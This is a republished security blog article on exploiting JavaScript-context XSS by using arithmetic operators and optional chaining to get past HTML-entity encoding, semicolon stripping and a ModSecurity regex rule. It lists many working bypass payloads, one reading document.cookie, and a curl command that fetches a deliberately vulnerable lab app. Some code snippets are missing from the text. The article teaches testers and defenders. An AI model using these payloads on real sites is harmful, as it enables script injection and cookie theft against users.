XSS: Arithmetic Operators & Optional Chaining To Bypass Filters & Sanitization

Original text by Menin_TheMiddle

Using JavaScript Arithmetic Operators and Optional Chaining to bypass input validation, sanitization and HTML Entity Encoding when injection occurs in the JavaScript context. To know how to exploit an injection that could lead to an XSS vulnerability, it’s important to understand in which context the injected payload must work.

In the HTML context, the injected payload it’s different than what can be used in the JavaScript context.

Talking about JavaScript context, often developers use encoding functions as a quick and dirty way to sanitize untrusted user input (for example, converting «special» characters to HTML entities). It may appear a good injection killer to convert characters such as a single quote, double quotes, semicolon, etc… to their respective HTML entity codes, but in the JavaScript context it isn’t always a good way to prevent stored or reflected XSS. Quoting the OWASP Cross Site Scripting Prevention Cheat Sheet:

HTML entity encoding is okay for untrusted data that you put in the body of the HTML document, such as inside a 

 tag. It even sort of works for untrusted data that goes into attributes, particularly if you’re religious about using quotes around your attributes. But HTML entity encoding doesn’t work if you’re putting untrusted data inside a 
 tag anywhere, or an event handler attribute like onmouseover, or inside CSS, or in a URL. So even if you use an HTML entity encoding method everywhere, you are still most likely vulnerable to XSS. You MUST use the encode syntax for the part of the HTML document you’re putting untrusted data into. That’s what the rules below are all about.

Vulnerable Application

During a test on a customer’s web application, I found something very closed to the following code (it’s more simplified than the original):

Here the developer used the PHP 

 function to sanitize the user input on 
 converting special characters to HTML entities and using 
 flag to convert both single and double quotes (as you can see in the table below):


 function removes all semicolon characters from the string. The sanitized input is then used inside a JavaScript function to do something.

You can find something similar in an awesome Labs by PortSwigger:



If you want to run my vulnerable web application example, just copy and paste the command below and point your browser to http://localhost:9000 you should find it useful in order to test all the example payloads in this article.

curl -s 'https://gist.githubusercontent.com/theMiddleBlue/a098f37fbc08b47b2f2ddad8d1579b21/raw/103a1ccb2e46e22a35cc982a49a41b7d0/index.php' > index.php; php -S


As you can guess, in my example the 

 arg is vulnerable to reflected XSS in JavaScript context. Without sanitization and validation of what a user put in the 
 arg, it would be possible to exploit a reflected XSS with a simple injection like 
. There’re two important things in this specific scenario:

  1. Due to the sanitization function, it isn’t possible to «close» the JavaScript function 
     and start a new function using the semicolon character (by injecting something like 
     the semicolon character will be removed before printing it on the response body).
  2. Due to its context, the injected payload (even encoded by 
    ) is decoded by the user’s browser when clicking on the link. This means that the browser will decode the encoded single quote character.

Exploit using Arithmetic Operators

It is possible to exploit the XSS vulnerability in this specific JavaScript context without using any semicolon character by using JavaScript Arithmetic Operators, Bitwise Operators, Logical AND/OR Operators, etc… Consider the following example:

the first 

 function prints 1337, the difference between 1338 and 1. The second one returns NaN (Not a Number). As you can see in the screenshot, before returning NaN JavaScript executes 
 first and then performs the subtraction operation. We can use this condition to exploit the XSS vulnerability in our example to avoid using a semicolon.

The payload could be the following:

As you can see, the 

 function went executed before the subtraction, and this means that we can execute any JavaScript function without using the sanitized semicolon character.

How many operators can be used to exploit XSS here?

Subtraction is not the only operator that you can use in this kind of exploit. Below you can find an incomplete list of operators with a working payload (when applicable) and an example that you can test in your JavaScript console by copy&paste it:

Addition (+)foo’)%2balert(‘aconsole.log(‘a’+alert(1))
Bitwise AND (&)N/Aconsole.log(‘a’&alert(1))
Bitwise OR (|)foo’)|alert(‘aconsole.log(‘a’|alert(1))
Bitwise XOR (^)foo’)^alert(‘aconsole.log(‘a’^alert(1))
Comma operator (,)foo’),alert(‘aconsole.log(‘a’,alert(1))
Conditional (ternary) operatorfoo’)%3falert(‘a’):alert(‘bconsole.log(‘a’?alert(1):»)
Division (/)foo’)/alert(‘aconsole.log(‘a’/alert(1))
Equality (==)foo’)==alert(‘aconsole.log(‘a’==alert(1))
Exponentiation (**)foo’)**alert(‘aconsole.log(‘a’**alert(1))
Greater/Less than (>/<)N/Aconsole.log(‘a’>alert(1))
Greater/Less than or equal (>=|<=)N/Aconsole.log(‘a’>=alert(1))
Inequality (!=)foo’)!=alert(‘aconsole.log(‘a’!=alert(1))
Left/Right shift (>>|<<)N/Aconsole.log(‘a'<<alert(1))
Logical AND (&&)N/Aconsole.log(‘a’&&alert(1))
Logical OR (||)foo’)||alert(‘aconsole.log(false||alert(1))
Multiplication (*)foo’)*alert(‘aconsole.log(‘a’*alert(1))
Remainder (%)foo’)%alert(‘console.log(‘a’%alert(1))
Subtraction (-)foo’)-alert(‘console.log(‘a’-alert(1))
In Operatorfoo’) in alert(‘console.log(‘a’ in alert(1))

In the specific case of our customer’s web application, characters 

 are encoded by 
 so it prevents use of operators «Bitwise AND», «Greater/Less than» and «Greater/Less then or equal». All other operators can be used to leads user’s browser to execute JavaScript functions. For example:

Exploit using Optional Chaining (?.)

Some Web Application Firewall Rule Set try to prevent XSS by validating untrusted user input against a list of JavaScript functions. Something like the following Regular Expression:


As you can see, the first two syntaxes would be blocked by the WAF, but the last two don’t match the regex. Indeed a really basic technique to bypass a weak rule is to insert white spaces or comment between the function name and the first round-bracket. If you use ModSecurity of course you know that is easy to fix this kind of bypass by using the transformation functions 

 (removes all whitespace characters from input) and 
 (removes common comments chars such as: /*, */, —, #) as the following example:

SecRule ARGS "@rx /(alert|eval|string|decodeURI|...)&#91;(]/" \

Anyway it’s possible to bypass this specific rule by using the optional chaining operator:

The optional chaining operator (

) permits reading the value of a property located deep within a chain of connected objects without having to expressly validate that each reference in the chain is valid. The 
 operator functions similarly to the 
 chaining operator, except that instead of causing an error if a reference is nullish (
), the expression short-circuits with a return value of 
. When used with function calls, it returns 
 if the given function does not exist.

Using this operator we can bypass the ModSecurity rule shown before, and the payload becomes something like this:

If you want to try it, open your browser JavaScript console and paste the following:


Used as payload on our vulnerable web application, we can exploit the XSS bypassing both HTML entities encoding and Web Application Firewall rule:

Moreover, this operator should be used to bypass other «bad word» based WAF rules such as document.cookie with document?.cookie. Following a list of examples that you can use and you can test on your browser console:alert ?. (document ?. cookie)

self?.[‘al’+’ert’/* foo bar */]?.(‘XSS’)

true in alert /* foo */ ?. /* bar */ (/XSS/)

1 * alert ?. (/* foo */’XSS’/* bar */)

true, alert ?. (…[/XSS/])

true in self ?. [/alert/.source](/XSS/)

self ?. [/alert/ ?. source ?. toString()](/XSS/)


Never ever HTML entity encode untrusted data to sanitize user input and don’t make your own WAF rule to validate it. Use a security encoding library for your app and use the OWASP CRS as a Web Application Firewall Rule Set.


РубрикиБез рубрики

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *